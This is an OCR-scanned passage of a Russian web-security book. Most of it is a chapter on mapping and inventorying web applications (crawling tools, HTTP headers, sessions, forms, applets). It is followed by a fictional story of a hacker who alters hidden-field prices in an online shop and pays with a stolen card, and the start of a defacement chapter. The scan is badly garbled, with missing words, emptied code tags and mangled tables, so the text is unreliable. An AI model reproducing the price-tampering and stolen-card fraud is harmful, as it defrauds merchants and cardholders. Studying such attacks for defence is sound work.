функциональным назначением, и в конечном счете получение полного представления об используемых компонентах в контексте функциональных групп --- все это называется анализом связей (linkage analysis). Такой анализ позволяет удостове риться в том, что существует определенный ресурс, предназначенный для выполнения конкретной функции. Анализ связей и язык HTML В области информационных технологий в конце 1980 х годов появился новый термин --- гипертекст. Основным свойством гипертекста является то, что в нем содер жится также информация о самом тексте. Элементы гипертекстового документа могут быть связаны с другими элементами или документами. Объекты HTML связываются друг с другом с использованием гиперссылок. Деск риптор якоря --- один из наиболее простых способов связывания различных объектов HTML. К другим дескрипторам, в которых используются гипер ссылки, относится с помощью которого входные данные передаются определен ному Web ресурсу, а также и позволяющие внедрять в документ раз личные объекты. На первый взгляд кажется, что анализ связей относится к классу выполняемых вручную. Визуальные компоненты, отображаемые броузером, очень легко проанализи ровать. Например, можно без особых проблем проанализировать HTML форму или ап лет, содержащиеся на Web странице. Однако другие компоненты броузером не отобра Глава 8. Анализ связей 179
Для анализа таких элементов необходимо перейти на более низкий уровень и просмотреть исходный код HTML или заголовки ответа HTTP. Просмотр каждого Web и исходного HTML кода вручную возможен для небольших Web узлов или при ложений, в которых задействовано не очень много ресурсов. При изучении Web узлов или приложений большего размера просмотр и анализ каждого ресурса вручную стано вится абсолютно невозможным. В этом случае возникает потребность в использовании автоматизированных средств анализа связей. Методология анализа связей Первый шаг заключается в составлении комплексной схемы анализа. Затем с ис пользованием этой схемы, а также подходящих средств и приемов можно получить образ всего Web приложения и собрать информацию, которой окажется достаточно для проведения анализа. Основная цель --- получение и представление в некотором структурированном виде наиболее полной информации о Web приложении. В резуль тате должно быть получено представление (карта) Web приложения с разбивкой на функциональные группы. В таком представлении содержится различная информация, которая пригодится при анализе структуры приложения и выделении его составных частей, защиту кото рых нужно обеспечить. Четкой методики анализа связей не существует. Опыт, полу ченный авторами этой книги в процессе анализа Web приложений, позволил им раз работать собственную методологию, которая и описывается ниже. На рис. 8.1 содер жится ее схематическое представление. Этап исследование Web узла Этап 2: выделение в структуре приложения отдельных логических групп Этап 3: анализ каждого Web pecypca Этап 4: инвентаризация Web ресурсов Приемы Анализрасширений 2. Анализ адресаURL 3. Анализ сеансов 4. Идентификация форм 5. Идентификация объектов и аплетов 6. Выявление клиентских сценариев 7.Анализ комментариев и адресов электронной почты Рис. Схема анализа связей В рамках обсуждаемой методологии выделяется четыре основных этапа: исследо вание Web узла, выделение в структуре приложения отдельных логических групп, анализ каждого Web pecypca и инвентаризация Web ресурсов. На первом этапе соби рается вся возможная информация, которая может пригодиться при построении карты Web приложения. Затем выполняется идентификация функций, с которыми ассоции руется из Web ресурсов. Этот этап скорее интуитивный, чем технический. За частую простого взгляда на имена и слова, используемые в строке URL, вполне доста точно для определения роли, которую играет в приложении тот или иной 180 Часть II. Секреты URL
Третий этап является решающим. Он заключается в тщательном анализе каждого Web ресурса и получении всей доступной информации. На рис. 8.1 в разделе "Мето ды" представлены шаги, выполняемые на этом этапе. На заключительном этапе про исходит инвентаризация всех Web ресурсов, а полученные данные представляются в простом и структурированном формате. Этап исследование Web узла Исследование Web узла начинается с его первой страницы и продолжается с уче том каждой найденной на ней ссылки. С математической точки зрения (crawling) напоминает поиск в ширину на связном направленном графе. Краулер (crawler) --- это программа, позволяющая автоматизировать данный Ее мож но рассматривать как броузер, который способен "щелкать" на каждой ссылке теку щей страницы и перемещаться по всем страницам Web узла. Краулер отправляет сер веру HTTP запрос GET, выполняет синтаксический анализ полученного в качестве от вета кода извлекает из него все гиперссылки и рекурсивно выполняет те же действия по отношению к каждой найденной гиперссылке. могут быть достаточно сложными. Кроме простых переходов по гиперссылкам некоторые из них позволяют также создать на локальном жестком диске об раз всего Web узла, а затем извлечь из него различные элементы, такие, как комментарии, клиентские сценарии и т.д. Подобные элементы рассматриваются в главе 7. . Исследование узла вручную Если на Web узле не содержится слишком много страниц, то для получения пе речня всех гиперссылок можно воспользоваться обычным броузером. По сравнению с применением такой подход гораздо точнее. Один из главных недостатков ав томатического исследования Web узла состоит в том, что не могут интер претировать клиентские сценарии, например JavaScript, а также содержащиеся в них гиперссылки. Несколько слов о заголовке HTTP ответа Каждый ответ HTTP состоит из двух частей: заголовка ответа и собственно дан ных. Обычно данные имеют формат HTML, однако они могут представлять собой также изображение GIF или какой либо другой объект. При исследовании узла крау лером интенсивно используются заголовки HTTP ответа. Рассмотрим заголовок отве та более подробно. 200 Ok Server: Date: Sat, 16 Mar 2002 18:08:35 GMT Connection: Keep Alive Content Length: 496 Content Type: Set Cookie: private Возможно, свое название такие программы получили по аналогии с из фанта стических романов --- основным средством передвижения исследователей Краулер (от "гусеница", "гусеничная машина") --- общее название машин, предназначенных для пере движения в пустынях. --- Прим. ред. Глава 8. Анализ связей Web узла 181
Первым элементом заголовка HTTP ответа является код ответа, содержащийся в первой строке заголовка. В приведенном выше фрагменте в качестве кода ответа указано значение 200. Оно говорит о том, что HTTP запрос успешно обработан сер вером и был сгенерирован соответствующий ответ. Если код ответа свидетельствует об ошибке, то она произошла при обращении к запрашиваемому ресурсу. Код отве та 404 означает, что запрашиваемый ресурс отсутствует. Код ответа 403 свидетельст вует о том, что ресурс существует, но доступ к нему заблокирован. Другие коды от вета HTTP могут служить признаком того, что ресурс был перемещен или для дос тупа к нему требуются дополнительные привилегии. должна уделять внимание этим кодам ответов учитывать их при определении своего даль нейшего перемещения. Следующим важным фрагментом информации, содержащимся в заголовке HTTP ответа, является поле Content Type. В этом поле описывается тип передаваемых данных, размещаемых в ответе HTTP после заголовка. В процессе исследования узла значение этого поля также анализируется Извлекать гиперссылки из GIF файла не имеет смысла. Так что особое внимание необходимо уделять данным типа text/html. Некоторые популярные средства, предназначенные для анализа связей Для исследования Web приложений можно воспользоваться несколькими коммер ческими средствами. Некоторые из них рассматриваются ниже. . , wget Утилита wget --- это простая программа краулер, запускаемая из командной стро ки. Эту утилиту, а также соответствующий исходный код, можно найти по адресу: http://www.wget.org/. Хотя изначально wget была предназначена для использования в системе UNIX, в настоящее время имеется также версия для Windows. В главе 7 описывается использование утилиты wget для извлечения содержимого Web узла, его сохранения на локальном жестком диске и поиска по шаблону определенной информации. Основными преимуществами утилиты wget являются простота в ис пользовании, возможность запуска из командной строки и возможность использо вания на платформах Unix и Windows. Кроме того, ее очень удобно использовать в сценариях оболочки или командных файлах, тем самым автоматизируя решение за дачи анализа связей. Поскольку утилита wget предоставляет возможность копирования содержимого Web узла, для выполнения различных задач анализа можно одновременно запустить несколько команд или сценариев. BlackWidow от BlackWidow от лаборатории SoftByteLabs --- это очень быстрая программа сканер Web узлов, которую можно использовать под управлением системы Windows. Эта программа многопоточная, благодаря чему несколько Web страниц могут извлекаться параллельно. Пакет BlackWidow позволяет также использовать некоторые стандартные методы отсеивания исходного кода (см. главу 7). На рис. 8.2 программа BlackWidow показана в процессе краулинга Web узла http://www.foundstone.com/. Во вкладках ос новного диалогового окна можно найти подробную информацию о процессе исследо вания, отдельно для каждого потока. 182 Часть II. Секреты URL
Status Verifying Verifying Verifying Verifying Verifying Idle Verifying Verifying 2kb Retrieving Idle Idle URL 2.gif Рис. 8.2. Многопоточная программа Black Widow в действии На рис. 8.3 показана иерархическая древовидная структура Web узла. Такое представление полученной информации позволяет легко проанализи ровать размещение ресурсов на Web узле. Кроме того, с использованием графиче ского пользовательского интерфейса программы BlackWidow можно просмотреть ад реса электронной почты, найденные на страницах, внешние ссылки и ошибки, кото рые возникли при попытке доступа к ресурсам. Как и утилита wget, BlackWidow позволяет создать локальный образ Web узла. При этом адреса URL модифицируются с учетом реальных путей локальной файловой системы. Funnel Web Profiler от Quest Software Программа Funnel Web Profiler от компании Quest Software позволяет выполнить всесторонний анализ Web узла. Ее бесплатную пробную версию можно получить по адресу: На рис. 8.4 эта программа показана в процессе исследо ванияузлаhttp://www.foundstone.com/. ПрограммаFunnelWebProfiler имеет приятный графический интерфейс и предоставляет разнообразнейшую информацию. После завершения сканирования Web узла программа Funnel Web Profiler позволяет просматривать собранную информацию в различных ракурсах. Например, при переходе во вкладку Web Map в диалоговом окне отображается структура Web узла и содержащие ся на нем страницы. На рис. 8.5 показана карта Web узла При этом каждый Web ресурс представлен в виде узла, а на общей карте можно увидеть, как узлы связаны друг с другом. Карта Web узла является его визуальным представлени ем, в котором отражена структура и взаимосвязи между ресурсами. Глава 8. Анализ связей 183
| ЩИ buffer . Структура com/ Scan site the web MM Статистика сканирования узла предоставлен ная программой Funnel Web Profiler 184 Часть II. Секреты URL
На карте Web узла находится группа взаимосвязанных узлов, для каждого из ко торых указана начальная точка. В правом верхнем углу основного диалогового окна размещается уменьшенное изображение всей карты. Эту область окна удобно ис пользовать для масштабирования карты и более детального просмотра ее конкрет ного фрагмента. Карта узла полученная с использованием про граммы Funnel Web Profiler При переходе во вкладку List в основном диалоговом окне программы Funnel Web Profiler в табличном формате будет отображен список всех ресурсов узла foundstone.com/ с указанием типа ресурса, его размера в байтах и даты последней мо дификации. На рис. 8.6 показан список ресурсов узла Заключительные замечания Две другие утилиты, которые подробно не рассматривались, но о которых все же стоит упомянуть, --- это Pro от компании Tennyson Maxwell и Sam Spade Утилита Teleport Pro работает под управлением Windows и в основном используется для копирования содержимого Web узлов. При этом для выполнения копирования можно задать отдельные проекты. Поскольку программа Teleport Pro является многопоточной, локальная копия Web узла создается достаточно быстро. Утилита Sam Spade также предназначена для ис пользования на платформе Windows и в основном применяется для исследования Web узлов и отсеивания ресурсов. Теперь информации вполне достаточно для проведения тщательного анализа. Давайте посмотрим, что же с ней можно сделать. Глава 8. Анализ связей Web узла 185
311 7,468 .. 572 .. gif S9S 313 228 .1 75 . . giT368 19,732 300 AM 12:23 AM AM 12:24 AM AM Unknown12.25 AMj Г. Г С Г Г Р 8.6. Список Web ресурсов узла http://www.foundstone.com/ и перенаправление Зачастую эти программы попадают в тупик, если встречается необычный метод связывания ресурсов или перенаправления. Однако некоторые из них все же спо собны правильно распознать подобные аномалии и предоставить хорошие резуль таты. Например, такая проблема может возникнуть в том случае, если перенаправ ление выполняется в клиентском сценарии JavaScript или VBScript. В приведенном ниже фрагменте кода JavaScript содержится директива перенаправ ления (вызов метода объекта location), которая интерпретируется и выполняется броузером. <SCRIPT </SCRIPT> В результате обработки этого фрагмента броузер должен обратиться к ресурсу Это будет сделано лишь в том случае, если в броузере включен режим выполнения сценариев JavaScript. Однако краулер не сможет интерпретировать и выполнить оператор поэтому в процессе исследования узла файл будет пропущен. Однако если перенаправление выполняется с использованием заголовка ответа Content Location или дескриптора языка HTML, то краулер сможет это об наружить и, проанализировать эти страницы. В следующих двух примерах перенаправление выполняется с помощью заголовка HTTP ответа Content Location и дескриптора <МЕТА> соответственно. 186 Часть II. Секреты URL
Перенаправление с использованием поля заголовка Content Location В этом примере рассматривается следующий фрагмент: 200 Ok Server: Date: Wen, 27 Mar 2002 08:13:01 Connection: Keep Alive Set Cookie: path=/ Cache control: private В данном случае серверу был передан запрос GET на получение Web ресурса, предоставляемого по умолчанию и содержащегося в корневом ката логе. При анализе заголовка HTTP ответа видно, что в нем содержится специаль ное поле Content Location. Это приведет к тому, что за необходимым ресурсом бро узер обратится по URL адресу http://www.example.com/example/index.asp. Перенаправление с использованием атрибута HTTP EQUIV Дескрипторы <МЕТА> можно вставлять в область заголовка документа HTML. Как правило, эти дескрипторы используются для добавления в документ списка ключе вых слов, связанных с ним. Однако Дескриптор <МЕТА> может применяться и для перенаправления. При использовании атрибута HTTP EQUIV дескриптора бро узер будет перенаправлен по адресу URL, указанному в этом атрибуте. В следую щем дескрипторе <МЕТА> броузеру сообщается о том, что содержимое, взятое на уз ле нужно обновлять через 2 секунды. В некоторых реализованы методы синтаксического анализа, которые обеспечивают корректную обработку директив перенаправления, рассмот ренных в предыдущих примерах. Однако некоторые из таких программ, например утилита wget, не могут обрабатывать дескрипторы HTML. Этап 2: выделение в структуре приложения отдельных логических групп Первое, что нужно сделать после исследования Web узла, --- это просмотреть структуру используемых в Web приложении. В большинстве случаев подобный анализ позволяет получить информацию о функциях приложения. Например, рас смотрим результаты исследования узла где среди прочих ис пользуются ниже f exe http://ww.example.com/scripts/search.cgi http://www.example.com/scripts/mail.pl Глава 8. Анализ связей Web узла 187
/ asp asp 66 / /www. / f asp Какую же пользу можно извлечь из этих адресов? Некоторые выводы не вызывают никаких сомнений. Каталог /l o gi n/ напоминает точку входа в ту часть приложения, к которой могут обращаться только зарегистрированные пользователи. Каталог файловой структуры сервера используется при завершении пользователем сеанса ра боты с приложением. В каталоге /dow nload/ размешены ресурсы, доступные для всех пользователей. Такие файлы, как setup. exe и tools.e x e, могут быть загружены с узла с использованием сценария Давайте посмотрим, что произойдет при обращении к каталогу /priv ate/. При щелчке в окне броузера на соответствующей на экране появится окно ау тентификации, показанное на рис. 8.7. При передаче аналогичного запроса с использованием утилиты netcat будет полу чен следующий ответ: пс www.example.com 80 HEAD /private/ HTTP/1.0 HTTP/1.1 401 Authorization Required Date: 18 Mar 2002 09:40:24 GMT Server: Microsoft ISS"/5.0 WWW Authenticate: Basic directory" Connection: close ravsfltes fiJFavontes I 3 your and Рис. 8.7. Диалоговое окно аутентификации при обращении к файлу С сервера был получен код HTTP ответа 401. Это означает, что каталог /priv ate/ паролем. Становится понятно, что в данном случае используется стандарт ный алгоритм аутентификации HTTP, когда имя пользователя и пароль шифруются 188 Часть II. Секреты URL
по алгоритму Base64. Для дальнейшего продвижения нужно иметь в распоряжении корректные регистрационные данные. В таких ситуациях хакеры пользуются ранее взломанными учетными записями или пытаются получить доступ к нужной странице, реализовав автоматизированную атаку подбора регистрационных данных "в лоб". Вызывает интерес также каталог /s cr ipts/. В нем содержатся серверные сцена рии mail.pl и На основании имен этих файлов можно предположить, что сценарий m a i l. p l используется для отправки электронной почты, a --- для выполнения поиска по ключевым словам. В каталоге /ad m in/ содержится ресурс который наверняка представляет собой страницу управления Web узлом, которая доступна только для администратора узла, обладающего соот ветствующими полномочиями. Если же посмотреть на список URL в целом, то возникают совсем другие мысли. Как правило, в одном Web приложении одновременно не используются страницы ASP, сценарии CGI и Java. Их наличие свидетельствует о том, что Web приложение используется несколькими Web серверами. Управление страницами ASP и, возможно, даже сценариями Perl и CGI осуществляется с помощью сервера IIS системы тогда как управление Java выполняется другим серве ром. Вспомните, что в главе 6 упоминалось о возможности управления различными частями Web приложения на разных платформах, причем эти части взаимосвязаны и функционируют как единое целое. ffl O knowledge £2 microsoft 6} html В products Puc. 8.8. Список, полученный с использованием утилиты Funnel Web Profiler He существует общих правил, руководствуясь которыми можно извлечь подобную информацию. Практический опыт и знание стандартного процесса разработки Web приложений окажутся чудесным подспорьем при выполнении анализа подобного рода. В следующих главах будут обсуждаться различные сценарии реализации атак, в рамках которых введенные здесь понятия будут еще раз проиллюстрированы. Каждая связь в Web приложении может иметь потенциальный изъян, которым может воспользоваться Глава 8. Анализ связей Web узла 189
взломщик. В разделе основное внимание уделялось связыванию адресов URL с их функциональным назначением и выделению тех частей приложения, с использо ванием которых связан повышенный риск. На основе такого подхода все полученные результаты можно связать с обнаруженными Web ресурсами. На рис. 8.8 показано де рево каталогов и файлов, содержащихся на узле http://www.foundstone.com/. Эта ин формация была получена с использованием программы Funnel Web Profiler. Какие выводы можно сделать на ее основе? Заключительные замечания Выше было показано, как на основе адресов URL и списка Web ресурсов можно выявить функции, которые выполняются Web приложением. При рассмотрении третьего этапа станет понятно, как собранную информацию представить в более удобном виде. Этап 3: анализ каждого Web pecypca Конечная цель анализа связей --- классификация и упорядочение ресурсов, ис пользуемых на Web узле или в Web приложении. Это упорядочение должно обеспе чить возможность быстрого поиска любого ресурса и определения роли, которую он играет в В своей повседневной работе авторы книги часто создают мат рицу Web ресурсов. Для иллюстрации процесса создания такой матрицы рассмотрим ряд приемов, которые ранее уже успешно использовались в практической аналитиче работе. В состав этой методологии входит семь пунктов, каждый из которых свя зан с третьим этапом анализа связей (см. рис. 8.1). Анализ расширений Анализ расширений файлов, используемых в URL, позволяет идентифицировать применяемые технологии. Например, на основе расширения можно определить, явля ется ли ресурс статическим или представляет собой программу, которая генерирует динамическое содержимое. Можно также определить технологий, на основе которых осуществляется управление ресурсом, что особенно полезно при идентификации сер вера приложений. Давайте снова обратимся к четырем Web ресурсам, обнаруженным на узле asp http://ww.example.com/scripts/search.cgi com/scripts Обратите внимание на три типа расширений: .cgi и Они означают, что используются технологии Active Server Pages компании Microsoft и язык Perl. Расши рение является слишком общим, чтобы на его делать какие либо кон кретные выводы. Расширения .jsp, и .php свидетельствуют об использовании серверных сценариев или программ. Другие расширения, и .txt, позволя ют сделать заключение о том, что на Web узле используется статическое содержимое в формате HTML или ASCII. Если вы не помните, что означают эти расширения, обя зательно перечитайте главу Таким образом, проанализировав расширение, можно сделать вывод об используемой технологии. Следовательно, расширение файла пре доставляет важную информацию о типе ресурса и технологии, которая используется для управления им. 190 Часть II. Секреты URL
2. Анализ адресов URL Если анализ расширений не позволяет полностью идентифицировать используе мые технологии, то следующий шаг состоит в анализе полного пути URL. Если в нем присутствуют строки /sc ripts/, или /servlet/, то можно определить тип используемого сервера приложения. Зачастую в URL применяется строка запроса. Параметры, передаваемые в строке запроса, также достаточно много сообщают о назначении ресурса. Например, следующие ресурсы, найденные на узле свидетельствуют о том, что и setcustinfo --- это Java, содержащиеся в каталоге /servlet/ файловой системы сервера. http://www.example.com/servlet/setcustinfo 3. Анализ сеансов Как правило, в приложениях, в которых важно поддерживать состояние сеанса, используется один из двух испытанных подходов, позволяющих сохранять информа цию о состоянии. Сеансы HTTP поддерживаются либо путем передачи идентифика тора сеанса в скрытом поле HTML формы, либо с использованием данных cookie. Иногда идентификатор сеанса передается как часть самого URL, однако этот способ практически ничем не отличается от использования скрытых полей. При более тщательном анализе следующего URL, полученного в результате иссле дования узла можно обнаружить поле id, в котором содер жится буквенно цифровая строка. Параметр id используется для отслеживания сеанса работы с приложением. Его значение и является идентификатором сеанса, который генерируется по специальному алгоритму. Идентификатор сеанса позволяет сохранять в приложении информацию о состоянии всех текущих клиентских сеансов. Управление сеансами можно реализовать с использованием данных cookie. Неко торые современные серверы Web приложений используют такие данные для обеспе чения встроенной поддержки управления сеансами. Если HTTP запрос GET передать ресурсу узла то будет получен следующий ответ: пс www.example.com 80 GET HTTP/1.1 200 Ok Server: Date: 18 Mar 2002 GMT Connection: Keep Alive Content Length: 496 Content Type: text/html Set Cookie: private В заголовке HTTP ответа сообщается, что под именем броузеру не обходимо сохранить полученные данные cookie, в которых содержится зашифро ванная строка, представляющая собой идентификатора сеанса. Броузер передает эти данные на в каждом запросе HTTP на протяжении всего сеанса работы. Глава 8. Анализ связей
4. Поиск форм HTML формы --- один из наиболее стандартных способов взаимодействия пользо вателя с Web приложением. В HTML формах содержатся введенные пользователем данные, которые затем передаются приложению. При разработке как языка HTML, так и протокола HTTP не учитывалась необходимость проверки корректности данных, передаваемых броузером Web серверу. На приложение возлагаются все обязанности, связанные с проверкой введенных значений и очисткой полей формы. В аспекте обеспечения безопасности HTML формы являются наиболее важным компонентом, позволяющим получить доступ к Web приложению. Нетрудно определить, в состав каких Web ресурсов входят HTML формы. В про цессе простого поиска подстроки, соответствующей дескриптору можно полу чить перечень всех Web ресурсов, содержащих HTML формы. Возможно, кроме по иска форм, стоит уделить внимание и относящимся к ним полям. Зачастую в формах содержатся скрытые поля, в которых передается важная информация. Каждая форма используется для достижения какой либо конкретной цели. Очень важно разобраться с назначением формы и связать с ней набор потенциальных атак, которые могут быть реализованы. Web ресурсы с формами должны быть обязательно идентифицированы. При анализе безопасности им нужно уделять повышенное внимание. 5. Идентификация аплетов и объектов Зачастую в состав Web ресурсов входят активные компоненты, встраиваемые в до кумент в качестве объектов. Хорошо известными примерами встроенных объектов яв ляются Java и компоненты ActiveX. Некоторые Web приложения спроектиро ваны таким образом, что аплеты, выполняемые в клиентских броузерах, предоставля ют гораздо более богатый интерфейс, чем обычные HTML формы. По существу, такое приложение удовлетворяет требованиям платформы клиент/сервер, где управле ние клиентской частью осуществляется с использованием а в состав серверной части входит компонент, напрямую связанный с Это прямое соединение не должно устанавливаться через протокол HTTP. Подобные объекты могут создать брешь в подсистеме безопасности на уровне приложения. Действительно, достаточно легко выполнить обратное проектирование байт кода аплетов, получить их исходный код и тем самым проникнуть во внутреннюю часть приложения. Любые изъяны в проектировании или реализации могут привести к возможности выполнения обрат ного проектирования. Найти аплеты очень просто. Для этого в HTML коде достаточно выполнить поиск дескриптора Рассмотрим который, возможно, предна значен для взаимодействия с серверной базой данных. Ниже приведен фрагмент кода, взятый из файла width=400 height=150> <param </applet> В дескрипторе <APPLET> указано, что аплет Java находится по адресу передается два параметра --- и db instance. Компоненты ActiveX компании Microsoft вставляются в код HTML аналогичным образом. Дескриптор <OBJECT> можно использовать вместо дескриптора <APPLET>. Сле дующий фрагмент кода взят из файла 192 Часть II. Секреты URL
<OBJECT </OBJECT> 6. Поиск клиентских сценариев Клиентские сценарии на языке JavaScript или VBScript внедряются в HTML код с использованием дескриптора <SCRIPT>. В процессе анализа связей необходимо идентифицировать Web ресурсы, в состав которых входят клиентские сценарии, по скольку им необходимо уделить гораздо больше внимания, чем обычному HTML содержимому. Иногда проверка корректности реализуется разработ чиками в клиентских сценариях. Однако такую проверку можно обойти, изменив за груженный в броузер исходный код HTML или вообще запретив выполнение сцена риев. Необходимые для этого действия достаточно просты. 7. Анализ комментариев и адресов электронной почты Web ресурсы разрабатываются с использованием языков высокого уровня. Как и большинство языков программирования, язык HTML позволяет использовать в доку ментах комментарии. Комментарии HTML рассматривались в главе 7. Заключительные замечания Теперь в нашем распоряжении достаточно материала, чтобы приступить к по строению матрицы Web ресурсов. На основе информации, полученной при исследо вании узла можно сформировать следующую матрицу. Все данные были получены при выполнении этапов Объ Дан Клиент Тип ре Форма cookie X X X X tools.exe , setup.exe X X X /servlet/showtrans?id=13445466 Глава 8. Анализ связей 193
/contacts/ /profile/ X X /private/ X Стан дартная /logoff/logoff X Этап 4: инвентаризация Web ресурсов В результате выполнения этапов было получено много важной информации. Последний этап состоит в инвентаризации всех найденных на сервере Web ресурсов. Из всех возможных методов классификации для разделения Web ресурсов авторы ре комендуют использовать описанные ниже категории. • Статическое содержимое. К этой категории можно отнести все содержимое которое не изменяется ни при каких HTTP запросах и не зависит от параметров, переданных броузером. Такие страницы являются наи более простыми ресурсами. Пассивность подобных ресурсов обусловила их ми нимальную уязвимость от любых атак. • Серверные сценарии. К этой категории относятся серверные страницы ASP, сце нарии и т.д. Серверные сценарии, получающие данные от Web броузеров или из параметров URL, требуют повышенного внимания. При определении степени уязвимости таких ресурсов следует отдельно учитывать также атаки, связанные с ошибками проверки входных данных. • Дополнительные модули. К этой категории относятся серверы приложений и ин терпретаторы языков Web приложений, такие как ColdFusion, PHP и установленные на внешних Web серверах. В главе 6 описано, как функционируют такие серверы приложений и как их идентифицировать. Те же приемы можно использовать для определения Web ресурсов, относящихся к этой категории. • и объекты. К этой категории относятся Java или другие вне дренные в HTML код объекты, которые выполняются броузером. • Клиентские сценарии. К этой категории следует отнести весь код, размещаемый ме жду дескрипторами Этот код также выполняется броузером. • Cookie. К этой категории относятся данные cookie, получаемые от различных Web ресурсов. Здесь следует учитывать также и сами Web ресурсы, которые ге нерируют такие данные. • HTML формы. К этой категории относятся все Web ресурсы, в состав которых входят HTML формы. Формы необходимо подробно проанализировать, осо бенно те из них, которые предназначены для передачи регистрационных дан ных или содержат скрытые поля. Теперь можно вернуться к полученным данным и классифицировать ресурсы и другие элементы, представив отчет в виде таблицы. Тип ресурсов Количество ресурсов Статические страницы 3 Серверные сценарии 5 Серверные страницы приложения 2 194 Часть II. URL
и объекты 1 Клиентские сценарии 6 Ресурсы, генерирующие данные cookie 2 Количество фрагментов cookie 7 Ресурсы, содержащие формы HTML 4 Количество форм HTML 5 Количество скрытых полей Резюме Построение карты Web узла и сбор всей нужной информации, предоставляемой различными Web ресурсами, оказывается крайне важным при оценке защищенно сти Web приложений. В контексте предоставляемых возможностей и архитектуры каждый Web узел является уникальным. Сбор всей возможной информации о Web приложении позволяет существенно упростить изъянов и является отправ ной точкой для проведения анализа его защищенности. Построение инвентаризаци онной матрицы Web ресурсов и списка всех Web ресурсов поможет оценить риск, связанный с использованием Web приложения. Глава 8. Анализ связей 195
Случай из жизни: как Борис помог Анне достать необходимые материалы Анна --- двадцатидвухлетняя художница --- большую часть лета проводила в путе шествиях по русским деревням, рисуя пейзажи маслом на холсте. Ее картины были сдержанными, но она использовала четкие и яркие краски, что делало ее полотна не много напоминавшими работы Моне --- ее идеала. Через два года после смерти отца она унаследовала его студию, где и демонстрировала свои работы. В то время Россия была на грани экономического и политического кризиса, и приобретение произведений искусств считалось роскошью. За последний месяц Анна продала только одну картину, причем по весьма низкой цене. Ее заработком были мелкие заказы какого либо конкретного пейзажа или портрета. Однако у Анны не было денег на краски и кисточки даже для одной картины. Впервые в жизни она ста ла бояться, что не сможет прокормить себя и свою двухлетнюю дочь. Еще никогда она не была так бедна! У Анны был друг Борис, специалист по компьютерным технологиям; в свободное время он погружался в тайный мир компьютерного И хотя Борис говорил с Анной на эту тему, ей было известно, что работа нравилась ему только из за денег, которые он за нее получал. Его истинной страстью было взлом корпоративных Web узлов и хвастовство перед друзьями. Борис обладал одним ред ким качеством, которое считалось "элитным" в то время: он мог приобретать товары в интерактивном магазине по существенно сниженным ценам и до сих пор ни разу не был пойман. Борису было известно, что у Анны тяжелые времена, и поэтому по дороге домой он часто заходил к ней в студию. "Привет, Анна. Сегодня есть новые заказы?" --- спросил Борис, поднимаясь по ле стнице. "Да, --- ответила Анна мрачно. --- Один пожилой мужчина зашел сегодня в студию и попросил меня нарисовать склон холма, расположенного возле его дома. За эту ра боту он предложил 500 долларов... --- Голос Анны был спокойным и не выражал ни каких эмоций, хотя предложенная цена была гораздо больше той суммы, которую она могла рассчитывать получить за одну из своих картин. --- Но у меня не хватает красок и полотна, чтобы закончить работу". Борис ответил: "Не волнуйся, Анна, у меня есть план. Что именно тебе нужно, чтобы довести дело до конца?" "Мне нужны масляные краски и полотно размером 80x55 см. Как минимум, тре буется еще 30 тюбиков разных цветов. Кроме не обойтись без чистящего средст ва для кисточек. А зачем ты обо всем этом спрашиваешь?" "Неважно, --- коротко ответил Борис. --- Какого именно цвета нужны краски?" Анна стала записывать на листке бумаги названия красок. Затем она записала, какое чистящее средство ей подходит. Борис и раньше помогал ей, однако гораздо в мень шей степени. Анна терялась в догадках и нервничала, поскольку совершенно не пред ставляла, что Борис планирует делать. Однако ей очень нужна была помощь. Борис, как ты все это достанешь?" --- спросила Анна. "Не беспокойся об этом. Я получу их в течение недели", --- пообещал Борис. Борис поспешил домой и включил переносной компьютер --- свое любимое ору жие. Он отыскал небольшой специализированный интерактивный магазин, располо женный в США. Ему было известно, что подобные магазины имеют достаточно про стую архитектуру и выявлению фактов мошенничества в них не уделяется внимания. Итак, Борис приступил к своему любимому занятию. Он просматривал ис ходный текст каждой страницы и искал изъяны, которые могли оказаться полезными в данной ситуации. Менее чем за десять минут он нашел то, что искал. Это была 198 Часть III
стандартная ошибка, связанная с использованием скрытых дескрипторов HTML, ко торая была известна уже больше года. Этот изъян позволял злоумышленнику изме нить цену товара в интерактивном магазине. Например, официальную цену книги, составляющую $39.99, можно было изменить до $3.99 или $0.99 и даже указать отри цательное число. Многие разработчики Web приложений выполняли гораздо более сложную проверку корректности данных на сервере, однако на данном Web узле по добная проверка не проводилась. Поэтому такой тип атаки был вполне подходящим. Борис приступил к работе, собирая необходимые Анне материалы и помещая их в электронную торговую тележку. После этого он загрузил исходный HTML код и из менил стоимость каждого товара торговой тележки: $20 на $2, $50 на $5 и т.д. В ре зультате весь набор необходимых материалов, который изначально стоил $250, обо шелся всего в $16. Он ввел номер кредитной карточки, которая принадлежала Елене Сегодня утром этот номер был похищен, а затем отправлен в группу Бориса. Затем он щелкнул на кнопке Submit. Дело было сделано. Через семь дней Борис появился перед дверью Как они это делают
ГЛАВА 9 Яне что вызывает большее отвращение: носить твое лицо или ходить в твоем теле. Почему бы нам не поменяться обратно и считать, что мы в расчете. Договорились? Кастор (Николас с лицом Джона Траволты) из фильма "Без лица
Введение В одной из утренних газет появилась статья о взломе некой компьютерной компа нии. В статье были приведены цитаты главного менеджера по информационным тех нологиям этой компании и нескольких экспертов по вопросам безопасности, которые должны были расследовать деятельность опытного хакера. В действительности оказа лось, что была реализована автоматизированная атака с использованием простого сценария, работа которого основывалась на изъяне Unicode сервера IIS. В результате главная страница компании была заменена "мусором". Однако факт кражи $30 000 с компьютеров основного банка того же города в статье не упоминался. При этом глав ная Web страница банка не претерпела никаких изменений. Большинство взломов, о которых сообщается в средствах массовой связаны с подменой содержимого Web узлов или, как мы это называем, с наличием следов в Большинство подобных взломов выполняются с исполь зованием готовых средств, обеспечивающих получение административных привилегий на целевом узле. Это позволяет хакерам заменять содержащиеся на нем Web страницы собственными версиями. В отдельных случаях подмена содержимого Web узла выполняется каким то другим оригинальным способом. Возможно, ники не всегда смогут получить привилегии на уровне какого либо пользователя, но они всегда смогут воспользоваться изъянами плохо написанных сценариев или непра вильно сконфигурированных Web серверов. В этой главе рассматриваются и анализируются средства взлома, которые использовал некий хакер работающий сетевым администратором в небольшой компании из Сан Франциско. Он воспользовался весьма необычным методом для реализации атаки, направленной на подмену содержимого туристического агентства. В конце главы приводятся контрмеры, позволяющие защититься от подобных атак. Взлом Web узла компании Defacing Acme Inc. Небольшое туристическое агентство Acme Travel, Inc. существует уже много лет, обслуживая как бизнесменов, так и отдыхающих. В основном компания работает че рез бесплатный телефонный номер. В начале 2000 года владельцы компании решили организовать собственный домен и разместить свой Web узел сервере провайдера услуг Internet AcmeHosting.net в Чикаго. Системный администратор компании Роб стал выполнять также функции администратора Web узла компании. Он хорошо знал операционную систему Linux и установил proxy сервер, что позволи 